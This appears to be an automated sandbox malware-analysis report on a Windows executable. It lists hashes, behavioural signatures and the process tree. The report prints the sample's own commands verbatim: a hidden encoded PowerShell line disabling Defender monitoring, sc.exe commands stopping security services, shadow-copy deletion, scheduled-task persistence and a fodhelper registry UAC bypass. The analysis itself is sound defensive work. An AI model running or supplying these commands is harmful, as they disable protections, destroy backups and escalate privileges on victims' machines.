Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
16/08/2026, 04:25
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
threshold.tv_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
threshold.tv_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target threshold.tv_hyber.exe
- Size 49KB
- Sample260816-e14n2acr71
- SHA256 4487d340ee26d99b3ec2b1898f0d2dce7b863fd756858095382b67fd88a2d8ad
- MD5 c113adee29448d6796994ac4444403b1
- SHA1 6097a7384199f7b2d36cd65607516099e1540a94
- SHA512 017b080939651dd1478e48181bd2cc3d55e367fb613719fa052c58dce17527ae4960432cfa316034c3bd74b7a7ea5d0189d9bc8cd31030359ab34375cb8a4bd5
- SSDEEP 768:qrVZZ6zs0hP4NaFkz0CVqr/NaPzfX/f0V4q:gZ6HhAN+JZrmP/f0V4q
- TLSH T11233F74537ED4521D1BF9ABE89B291118731F4A3DC23DB8E1AD9459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/916-1-0x0000000000EE0000-0x0000000000EF2000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" threshold.tv_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3680 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" threshold.tv_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts threshold.tv_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2296 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf threshold.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf threshold.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf threshold.tv_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\threshold.tv_hyber.exe" threshold.tv_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 4520 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\sysupdate.exe threshold.tv_hyber.exe File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe threshold.tv_hyber.exe File created C:\Windows\system32\sysupdate.exe threshold.tv_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 3960 wscript.exe 5036 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" threshold.tv_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1293781730.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2972 sc.exe 2100 sc.exe 4568 sc.exe 2908 sc.exe 4788 sc.exe 4516 sc.exe 5184 sc.exe 5648 sc.exe 2056 sc.exe 3696 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2108 cmd.exe 2516 cmd.exe 3716 cmd.exe 3696 cmd.exe 2972 cmd.exe 2056 cmd.exe 6020 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5684 NETSTAT.EXE 1092 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5308 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3076 vssadmin.exe 3112 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2" threshold.tv_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command threshold.tv_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\threshold.tv_hyber.exe" threshold.tv_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" threshold.tv_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell threshold.tv_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet threshold.tv_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command threshold.tv_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open threshold.tv_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings threshold.tv_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings threshold.tv_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute threshold.tv_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command threshold.tv_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell threshold.tv_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell threshold.tv_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open threshold.tv_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open threshold.tv_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\threshold.tv_hyber.exe\" \"%1\"" threshold.tv_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1556 schtasks.exe 4788 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3680 powershell.exe 3680 powershell.exe 3680 powershell.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 1904 WMIC.exe 1904 WMIC.exe 1904 WMIC.exe 1904 WMIC.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 2712 WMIC.exe 2712 WMIC.exe 2712 WMIC.exe 2712 WMIC.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe 916 threshold.tv_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3956 LogonUI.exe Token: SeCreatePagefilePrivilege 3956 LogonUI.exe Token: SeDebugPrivilege 916 threshold.tv_hyber.exe Token: SeDebugPrivilege 3680 powershell.exe Token: SeIncreaseQuotaPrivilege 3680 powershell.exe Token: SeSecurityPrivilege 3680 powershell.exe Token: SeTakeOwnershipPrivilege 3680 powershell.exe Token: SeLoadDriverPrivilege 3680 powershell.exe Token: SeSystemProfilePrivilege 3680 powershell.exe Token: SeSystemtimePrivilege 3680 powershell.exe Token: SeProfSingleProcessPrivilege 3680 powershell.exe Token: SeIncBasePriorityPrivilege 3680 powershell.exe Token: SeCreatePagefilePrivilege 3680 powershell.exe Token: SeBackupPrivilege 3680 powershell.exe Token: SeRestorePrivilege 3680 powershell.exe Token: SeShutdownPrivilege 3680 powershell.exe Token: SeDebugPrivilege 3680 powershell.exe Token: SeSystemEnvironmentPrivilege 3680 powershell.exe Token: SeRemoteShutdownPrivilege 3680 powershell.exe Token: SeUndockPrivilege 3680 powershell.exe Token: SeManageVolumePrivilege 3680 powershell.exe Token: 33 3680 powershell.exe Token: 34 3680 powershell.exe Token: 35 3680 powershell.exe Token: 36 3680 powershell.exe Token: SeIncBasePriorityPrivilege 916 threshold.tv_hyber.exe Token: SeDebugPrivilege 3204 whoami.exe Token: SeDebugPrivilege 4520 tasklist.exe Token: SeIncreaseQuotaPrivilege 3680 powershell.exe Token: SeSecurityPrivilege 3680 powershell.exe Token: SeTakeOwnershipPrivilege 3680 powershell.exe Token: SeLoadDriverPrivilege 3680 powershell.exe Token: SeSystemProfilePrivilege 3680 powershell.exe Token: SeSystemtimePrivilege 3680 powershell.exe Token: SeProfSingleProcessPrivilege 3680 powershell.exe Token: SeIncBasePriorityPrivilege 3680 powershell.exe Token: SeCreatePagefilePrivilege 3680 powershell.exe Token: SeBackupPrivilege 3680 powershell.exe Token: SeRestorePrivilege 3680 powershell.exe Token: SeShutdownPrivilege 3680 powershell.exe Token: SeDebugPrivilege 3680 powershell.exe Token: SeSystemEnvironmentPrivilege 3680 powershell.exe Token: SeRemoteShutdownPrivilege 3680 powershell.exe Token: SeUndockPrivilege 3680 powershell.exe Token: SeManageVolumePrivilege 3680 powershell.exe Token: 33 3680 powershell.exe Token: 34 3680 powershell.exe Token: 35 3680 powershell.exe Token: 36 3680 powershell.exe Token: SeDebugPrivilege 5684 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 1904 WMIC.exe Token: SeSecurityPrivilege 1904 WMIC.exe Token: SeTakeOwnershipPrivilege 1904 WMIC.exe Token: SeLoadDriverPrivilege 1904 WMIC.exe Token: SeSystemProfilePrivilege 1904 WMIC.exe Token: SeSystemtimePrivilege 1904 WMIC.exe Token: SeProfSingleProcessPrivilege 1904 WMIC.exe Token: SeIncBasePriorityPrivilege 1904 WMIC.exe Token: SeCreatePagefilePrivilege 1904 WMIC.exe Token: SeBackupPrivilege 1904 WMIC.exe Token: SeRestorePrivilege 1904 WMIC.exe Token: SeShutdownPrivilege 1904 WMIC.exe Token: SeDebugPrivilege 1904 WMIC.exe Token: SeSystemEnvironmentPrivilege 1904 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 916 threshold.tv_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3956 LogonUI.exe 3956 LogonUI.exe 916 threshold.tv_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 916 wrote to memory of 3680 916 threshold.tv_hyber.exe 90 PID 916 wrote to memory of 2908 916 threshold.tv_hyber.exe 92 PID 916 wrote to memory of 2056 916 threshold.tv_hyber.exe 122 PID 916 wrote to memory of 3696 916 threshold.tv_hyber.exe 124 PID 916 wrote to memory of 2972 916 threshold.tv_hyber.exe 123 PID 916 wrote to memory of 2100 916 threshold.tv_hyber.exe 100 PID 916 wrote to memory of 4568 916 threshold.tv_hyber.exe 102 PID 916 wrote to memory of 4788 916 threshold.tv_hyber.exe 130 PID 916 wrote to memory of 4516 916 threshold.tv_hyber.exe 106 PID 916 wrote to memory of 3580 916 threshold.tv_hyber.exe 108 PID 3580 wrote to memory of 1484 3580 fodhelper.exe 109 PID 916 wrote to memory of 3960 916 threshold.tv_hyber.exe 111 PID 916 wrote to memory of 1556 916 threshold.tv_hyber.exe 112 PID 916 wrote to memory of 2516 916 threshold.tv_hyber.exe 118 PID 916 wrote to memory of 2108 916 threshold.tv_hyber.exe 120 PID 916 wrote to memory of 6020 916 threshold.tv_hyber.exe 121 PID 916 wrote to memory of 2056 916 threshold.tv_hyber.exe 122 PID 916 wrote to memory of 2972 916 threshold.tv_hyber.exe 123 PID 916 wrote to memory of 3696 916 threshold.tv_hyber.exe 124 PID 916 wrote to memory of 3716 916 threshold.tv_hyber.exe 125 PID 916 wrote to memory of 4788 916 threshold.tv_hyber.exe 130 PID 916 wrote to memory of 5036 916 threshold.tv_hyber.exe 133 PID 916 wrote to memory of 1568 916 threshold.tv_hyber.exe 135 PID 2972 wrote to memory of 3268 2972 cmd.exe 136 PID 3268 wrote to memory of 5408 3268 net.exe 137 PID 2108 wrote to memory of 5308 2108 cmd.exe 138 PID 2056 wrote to memory of 3204 2056 cmd.exe 139 PID 916 wrote to memory of 3076 916 threshold.tv_hyber.exe 140 PID 916 wrote to memory of 1904 916 threshold.tv_hyber.exe 141 PID 916 wrote to memory of 3732 916 threshold.tv_hyber.exe 142 PID 916 wrote to memory of 2296 916 threshold.tv_hyber.exe 144 PID 916 wrote to memory of 5648 916 threshold.tv_hyber.exe 145 PID 916 wrote to memory of 5184 916 threshold.tv_hyber.exe 146 PID 2516 wrote to memory of 3112 2516 cmd.exe 152 PID 3716 wrote to memory of 5684 3716 cmd.exe 153 PID 6020 wrote to memory of 4520 6020 cmd.exe 154 PID 3696 wrote to memory of 1092 3696 cmd.exe 155 PID 3732 wrote to memory of 1388 3732 net.exe 158 PID 2516 wrote to memory of 2712 2516 cmd.exe 160 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\threshold.tv_hyber.exe"C:\Users\Admin\AppData\Local\Temp\threshold.tv_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:916 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3680
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2908
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:2056
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3696
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2972
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:2100
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4568
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4788
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4516
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Users\Admin\AppData\Local\Temp\threshold.tv_hyber.exe"C:\Users\Admin\AppData\Local\Temp\threshold.tv_hyber.exe"3⤵PID:1484
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:3960
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\threshold.tv_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1556
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3112
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2712
